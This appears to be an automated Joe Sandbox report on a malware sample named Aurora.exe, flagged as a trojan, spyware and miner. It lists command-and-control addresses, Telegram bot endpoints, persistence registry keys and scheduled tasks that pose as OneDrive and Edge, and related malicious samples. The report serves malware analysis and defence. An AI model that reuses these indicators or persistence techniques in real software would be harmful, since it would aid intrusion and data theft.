http://tempuri.org/Endpo(	build.exe, 00000004.00000002.2937734948.00000000028FC000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.0000000002956000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.000000000292D000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.0000000002970000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.ipify.orgcookies//settinString.Removeg	build.exe, 00000004.00000000.1688439465.00000000005E2000.00000002.00000001.01000000.00000008.sdmp	true	Avira URL Cloud: safe	unknown
http://tempuri.org/Endpoint/GetUpdatesLR	build.exe, 00000004.00000002.2937734948.0000000002970000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/pscore6lB	powershell.exe, 0000000D.00000002.1764000122.0000000004881000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Endpo4	build.exe, 00000004.00000002.2937734948.0000000002956000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.0000000002970000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Endpoint/VerifyUpdateLR	build.exe, 00000004.00000002.2937734948.0000000002970000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://stackoverflow.com/q/11564914/23354;	OneDrive.exe, 00000007.00000002.1728900790.0000000004AB9000.00000004.00000800.00020000.00000000.sdmp, OneDrive.exe, 00000007.00000002.1728900790.00000000040B9000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000020.00000002.1787802985.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.sysinternals.com0	vlc.exe, 00000013.00000002.1999343349.0000014C54370000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/	powershell.exe, 00000032.00000002.2464311316.000002943ED02000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 0000000D.00000002.1782478788.00000000058EB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1934227592.0000028FBF695000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000032.00000002.2464311316.000002943ED02000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Endpoint/	build.exe, 00000004.00000002.2937734948.0000000002970000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Endpoint/VerifyUpdate	build.exe, 00000004.00000002.2937734948.00000000028FC000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.00000000028EF000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.000000000292D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/0	build.exe, 00000004.00000002.2937734948.0000000002891000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://stackoverflow.com/q/2152978/23354sCannot	OneDrive.exe, 00000007.00000002.1728900790.0000000004AB9000.00000004.00000800.00020000.00000000.sdmp, OneDrive.exe, 00000007.00000002.1728900790.00000000040B9000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000020.00000002.1787802985.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	build.exe, 00000004.00000002.2937734948.0000000002891000.00000004.00000800.00020000.00000000.sdmp, OneDrive.exe, 00000007.00000002.1727999189.00000000030B1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1764000122.0000000004881000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000011.00000002.2933944946.0000000002FCC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1775465681.0000028FAF621000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000032.00000002.2050954318.000002942EC91000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://go.microsoft.coV	powershell.exe, 0000000D.00000002.1790765252.00000000071D0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.ipify.org/	OneDrive.exe, 00000007.00000002.1728900790.0000000004AB9000.00000004.00000800.00020000.00000000.sdmp, OneDrive.exe, 00000007.00000002.1728900790.00000000040B9000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000020.00000002.1787802985.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ipinfo.io/ip%appdata%	build.exe, 00000004.00000000.1688439465.00000000005E2000.00000002.00000001.01000000.00000008.sdmp	true	Avira URL Cloud: safe	unknown
https://t.me/aurora_botnet_support	Aurora.exe, 00000000.00000002.2198132330.00000000096C2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://nuget.org/NuGet.exe	powershell.exe, 0000000D.00000002.1782478788.00000000058EB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1934227592.0000028FBF695000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000032.00000002.2464311316.000002943ED02000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://aka.ms/winsvr-2022-pshelp	powershell.exe, 00000016.00000002.1775465681.0000028FAF849000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.telegram.org/file/bot%s/%sindex	Aurora.exe, 00000000.00000002.2198132330.00000000096C2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://stackoverflow.com/q/14436606/23354	OneDrive.exe, 00000007.00000002.1728900790.0000000004AB9000.00000004.00000800.00020000.00000000.sdmp, OneDrive.exe, 00000007.00000002.1728900790.00000000040B9000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000011.00000002.2933944946.0000000002FE2000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000011.00000002.2933944946.0000000003077000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000020.00000002.1787802985.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000016.00000002.1775465681.0000028FAF849000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 0000000D.00000002.1764000122.00000000049D6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1775465681.0000028FAF849000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous	build.exe, 00000004.00000002.2937734948.0000000002891000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Endpoint/CheckConnectResponse	build.exe, 00000004.00000002.2937734948.00000000028FC000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.0000000002956000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.00000000028EF000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.000000000292D000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.0000000002940000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.0000000002970000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000016.00000002.1775465681.0000028FAF849000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.ip.sb/geoip%USERPEnvironmentROFILE%	build.exe, 00000004.00000000.1688439465.00000000005E2000.00000002.00000001.01000000.00000008.sdmp	false	Avira URL Cloud: safe	unknown
http://154.81.220.233:28105	build.exe, 00000004.00000002.2937734948.00000000028FC000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.0000000002956000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.00000000028EF000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.000000000292D000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.0000000002891000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.0000000002970000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000032.00000002.2464311316.000002943ED02000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Endpoint/CheckConnect	build.exe, 00000004.00000002.2937734948.0000000002970000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/electron/electron/releases/download/v%s/electron-v%s-%s-%s.zipInvalid	Aurora.exe, 00000000.00000002.2198132330.00000000096C2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000016.00000002.1775465681.0000028FAF849000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://154.81.220.233:28105t-	build.exe, 00000004.00000002.2937734948.0000000002940000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Endpoint/SetEnvironmentLR	build.exe, 00000004.00000002.2937734948.0000000002970000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://go.microsoft.coVpnClient.psd1mpatib	powershell.exe, 0000000D.00000002.1790765252.00000000071D0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing	build.exe, 00000004.00000002.2937734948.0000000002891000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.micro	powershell.exe, 0000000D.00000002.1759509854.0000000002D78000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Endpoint/GetUpdatesResponse	build.exe, 00000004.00000002.2937734948.00000000028FC000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.0000000002956000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.00000000028EF000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.000000000292D000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.0000000002940000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.0000000002970000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 0000000D.00000002.1764000122.00000000049D6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1775465681.0000028FAF849000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Endpoint/EnvironmentSettingsResponse	build.exe, 00000004.00000002.2937734948.00000000028FC000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.0000000002956000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.00000000028EF000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.000000000292D000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.0000000002940000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.0000000002970000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/pscore68	powershell.exe, 00000016.00000002.1775465681.0000028FAF621000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000032.00000002.2050954318.000002942EC91000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ipwho.is/	OneDrive.exe, 00000007.00000002.1728900790.0000000004AB9000.00000004.00000800.00020000.00000000.sdmp, OneDrive.exe, 00000007.00000002.1728900790.00000000040B9000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000020.00000002.1787802985.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://127.0.0.1/dashboardid	Aurora.exe, 00000000.00000002.2198132330.00000000096C2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/soap/actor/next	build.exe, 00000004.00000002.2937734948.0000000002891000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://t.me/cheshire_aurora	Aurora.exe, 00000000.00000002.2198132330.00000000096C2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Endpo	build.exe, 00000004.00000002.2937734948.0000000002970000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
192.64.119.108	auroraforge.art	United States	22612	NAMECHEAP-NETUS	true
154.81.220.233	unknown	Seychelles	35916	MULTA-ASN1US	true
123.123.123.123	thesirenmika.com	China	4808	CHINA169-BJChinaUnicomBeijingProvinceNetworkCN	true
51.79.71.77	unknown	Canada	16276	OVHFR	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1483204
Start date and time:	2024-07-26 20:44:10 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 35s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	65
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Aurora.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.mine.winEXE@91/34@3/4
EGA Information:	Successful, ratio: 75%
HCA Information:	Successful, ratio: 92% Number of executed functions: 151 Number of non-executed functions: 74
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, Conhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, schtasks.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 52.182.143.212, 52.168.117.173
Excluded domains from analysis (whitelisted): onedsblobprdeus16.eastus.cloudapp.azure.com, ocsp.digicert.com, onedsblobprdcus15.centralus.cloudapp.azure.com, login.live.com, slscr.update.microsoft.com, blobcollector.events.data.trafficmanager.net, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 3320 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7388 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7764 because it is empty
Execution Graph export aborted for target vlc.exe, PID 7316 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
VT rate limit hit for: Aurora.exe

Simulations

Behavior and APIs

Time	Type	Description
14:45:04	API Interceptor	1x Sleep call for process: vlc.exe modified
14:45:06	API Interceptor	96x Sleep call for process: powershell.exe modified
14:45:20	API Interceptor	1x Sleep call for process: dw20.exe modified
14:45:55	API Interceptor	2583x Sleep call for process: Msedge.exe modified
14:46:05	API Interceptor	257x Sleep call for process: conhost.exe modified
19:45:06	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Microsoft Edge C:\Users\user\AppData\Local\Msedge.exe
19:45:07	Task Scheduler	Run new task: OneDriveUpdate path: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive s>Updater.exe
19:45:12	Task Scheduler	Run new task: ConsoleWindowsHost path: C:\Users\user\AppData\Roaming\Google\Chrome\svchost.exe
19:45:14	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run OneDriveUpdate C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe
19:45:22	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Microsoft Edge C:\Users\user\AppData\Local\Msedge.exe
19:45:31	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run OneDriveUpdate C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
123.123.123.123	oN18LjALvG.exe	Get hash	malicious	Metasploit	Browse
	oN18LjALvG.exe	Get hash	malicious	Metasploit	Browse
	Lo5o3Ugla7.elf	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
xmr-us-east1.nanopool.org	daRNfwifay.exe	Get hash	malicious	Xmrig	Browse	51.222.106.253
	vilxost.dll	Get hash	malicious	Xmrig	Browse	144.217.14.139
	vilxost.dll	Get hash	malicious	Xmrig	Browse	142.44.243.6
	dllhost.exe	Get hash	malicious	Nanominer	Browse	192.99.69.170
	4rC1bQcnl5.exe	Get hash	malicious	Xmrig	Browse	144.217.14.139
	LZF5sOWnss.exe	Get hash	malicious	Xmrig	Browse	144.217.14.139
	4HoFnQosUb.exe	Get hash	malicious	Xmrig	Browse	142.44.242.100
	P7Oa6i5muL.exe	Get hash	malicious	Xmrig	Browse	142.44.242.100
	H9QnI1DbC1.exe	Get hash	malicious	Xmrig	Browse	144.217.14.139
	7xhLwiPIrR.exe	Get hash	malicious	Xmrig	Browse	142.44.243.6

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
OVHFR	https://new-sneww-online-nowz-all.azurewebsites.net/?referrer=appmetrica_tracking_id%3D173005530304969909%26ym_tracking_id%3D10094745761516744100	Get hash	malicious	Unknown	Browse	54.36.150.186
	FkJbps6Srrl6lOQ9M_l8dpw2.exe	Get hash	malicious	RedLine	Browse	51.195.145.80
	VvlYJBzLuW.elf	Get hash	malicious	Mirai	Browse	37.59.105.215
	7Y18r(169).exe	Get hash	malicious	CryptOne	Browse	51.81.194.202
	Endermanch@Antivirus.exe	Get hash	malicious	Bdaejec	Browse	54.39.157.64
	Endermanch@Antivirus.exe	Get hash	malicious	Bdaejec	Browse	54.39.157.64
	file.exe	Get hash	malicious	SystemBC	Browse	144.217.158.194
	file.exe	Get hash	malicious	SmokeLoader	Browse	51.77.140.74
	file.exe	Get hash	malicious	SystemBC	Browse	192.99.8.97
	LisectAVT_2403002A_126.EXE.exe	Get hash	malicious	Wannacry, Conti	Browse	167.114.35.28
NAMECHEAP-NETUS	TNS71092E68UI0.vbe	Get hash	malicious	FormBook	Browse	198.54.117.242
	file.exe	Get hash	malicious	SystemBC	Browse	198.54.120.214
	LisectAVT_2403002A_333.exe	Get hash	malicious	Unknown	Browse	198.54.125.89
	LisectAVT_2403002A_333.exe	Get hash	malicious	Unknown	Browse	198.54.125.89
	LisectAVT_2403002A_87.exe	Get hash	malicious	FormBook	Browse	162.0.236.122
	LisectAVT_2403002A_97.exe	Get hash	malicious	DarkVision Rat	Browse	198.54.126.102
	Quotation.exe	Get hash	malicious	FormBook	Browse	68.65.122.150
	LisectAVT_2403002B_309.exe	Get hash	malicious	Bdaejec, FormBook	Browse	162.0.225.191
	LisectAVT_2403002B_412.exe	Get hash	malicious	FormBook	Browse	162.0.238.43
	LisectAVT_2403002C_119.exe	Get hash	malicious	Bdaejec, Sodinokibi	Browse	198.54.121.233
MULTA-ASN1US	LisectAVT_2403002A_328.exe	Get hash	malicious	Petite Virus	Browse	154.85.69.4
	LisectAVT_2403002A_328.exe	Get hash	malicious	Petite Virus	Browse	154.85.69.3
	m68k.elf	Get hash	malicious	Mirai	Browse	198.74.126.182
	zkGOUJOnmc.elf	Get hash	malicious	Unknown	Browse	43.226.24.137
	Suav289vuI.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse	173.82.220.236
	http://www.fotoschuppen.net/	Get hash	malicious	Unknown	Browse	154.85.69.7
	https://telegram-up.org/	Get hash	malicious	Unknown	Browse	154.85.69.7
	http://metamask-zhwallet.org/	Get hash	malicious	Unknown	Browse	154.85.69.2
	http://cdn.bootcdn.net	Get hash	malicious	Unknown	Browse	154.85.69.3
	https://www.bzqmgs.com/	Get hash	malicious	Unknown	Browse	154.85.69.2
CHINA169-BJChinaUnicomBeijingProvinceNetworkCN	AKPSrAWl2G.elf	Get hash	malicious	Mirai	Browse	123.118.80.54
	oeMGRI6v4U.exe	Get hash	malicious	Phorpiex	Browse	121.52.212.161
	oeMGRI6v4U.exe	Get hash	malicious	Phorpiex	Browse	121.52.212.161
	xd.mips.elf	Get hash	malicious	Mirai	Browse	121.69.128.127
	chAJcIK6ZO.exe	Get hash	malicious	Unknown	Browse	103.102.202.144
	chAJcIK6ZO.exe	Get hash	malicious	Unknown	Browse	103.102.202.144
	http://worker-royal-cake-d668.20030725gg.workers.dev/	Get hash	malicious	Unknown	Browse	115.182.9.46
	http://stone003.stone168.cloudns.org/	Get hash	malicious	Unknown	Browse	115.182.216.178
	http://jaqi.ivcc742.workers.dev/	Get hash	malicious	Unknown	Browse	115.182.216.178
	http://cloud.15922894802.workers.dev/	Get hash	malicious	Unknown	Browse	115.182.9.46

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_aurora.exe_4ddec6df7537fc171b2d38e73121d365b626f68_00000000_5bd2e63e-4bad-43be-8393-fab0a7e1ec72\Report.wer

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9863964828587074
Encrypted:	false
SSDEEP:	192:aX745RqZgjAzC9OsVrHxdzuiFyZ24IO8:CU5RZjzzuiFyY4IO8
MD5:	436A719B852035763B89070D3F0421F9
SHA1:	EA7C3A16E3C9596991EB34AC5EDAD35F57F382A3
SHA-256:	679A68FCA8B9F0A9067ED01568E8559A1C4DF2090FBDD6F41982A1AC66D7424F
SHA-512:	8D21E8D0127639D866FBB3A6F51AB5ACFC3ACA6C0708798A220B416BC73C30A549D8910066F177FD15A27EB1A54C7B002BCE568E83B32BF41907E0DDC3369BD1
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.C.L.R.2.0.r.3.....E.v.e.n.t.T.i.m.e.=.1.3.3.6.6.4.9.3.1.0.5.6.1.6.9.1.9.9.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.6.6.4.9.3.1.0.6.3.2.0.0.4.2.3.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.5.b.d.2.e.6.3.e.-.4.b.a.d.-.4.3.b.e.-.8.3.9.3.-.f.a.b.0.a.7.e.1.e.c.7.2.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.A.u.r.o.r.o.r.a...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.8.7.0.-.0.0.0.1.-.0.0.1.4.-.7.4.e.d.-.4.f.e.b.8.b.d.f.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.5.a.8.a.5.7.a.4.1.2.4.f.6.b.9.3.5.b.d.9.f.c.9.4.b.1.5.6.f.5.a.a.0.0.0.0.0.0.0.0.!.0.0.0.0.3.1.4.2.4.5.3.c.1.8.0.8.0.b.8.3.d.8.d.b.d.e.b.a.8.9.5.2.4.b.e.e.a.1.c.9.4.f.f.3.!.A.u.r.o.r.a...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.3././.0.5././.0.1.:.0.2.:.2.9.:.0.8.!.1.5.5.3.3.f.5.!.A.u.r.o.r.a...e.x.e.....B.o.o.t.I.d.=.4.2.9.4.9.6.7.2.9.5.....

C:\ProgramData\Microsoft\Windows\WER\Temp\WER60.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	85810
Entropy (8bit):	3.0223880728414274
Encrypted:	false
SSDEEP:	1536:w3fFGgDQrKK4hi845fP928rTly+QhZRQz0GhCIS:w3fFGgDQrKK4hi845fP928rTly+QhZGM
MD5:	347B61B287DC53FC46885FEDA85A3243
SHA1:	861276C2AF905C49E49C98D8D718251FC1C4B0CA
SHA-256:	81A4E10A000F163E7C2DAFAA6A18AE9BB9A634D65D653B068F06E5212C648EDC
SHA-512:	B54577CD91EAFFAF031652B2902FBAD84C7E5F5CB48DAE41200487CD50A0E68BF0DC191D5DC2E7A05AE71116AA0E765D49D706F0866ED9883923AE00BB730F66
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERCF.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.685373579737895
Encrypted:	false
SSDEEP:	96:TiZYWxT8x/fYIYJWhHzYEZ4FtEiX4OKcTwv8yvKa5HUaqjVyMvThVy4I1mn3:2ZDx+foU8sKa5HpRMvThVS1mn3
MD5:	DED99C4119CDBC0FC8EFEE43A3F4979B
SHA1:	14BD36A0A3A6689BE0A3CA564CB1154E7CB96300
SHA-256:	F851E4A19089EF96AEB92FE621022B576C520609FEA42345D3E81EB695BD298F
SHA-512:	D66C491AAEDBBE5139354A3AD51251337063F5A0EDF952F3A63EC62A958F5E1B97B28F88D61089215AF57B7EF4C5970EB4EE2F2B633056C28AB6D5C52CBD84A1
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . 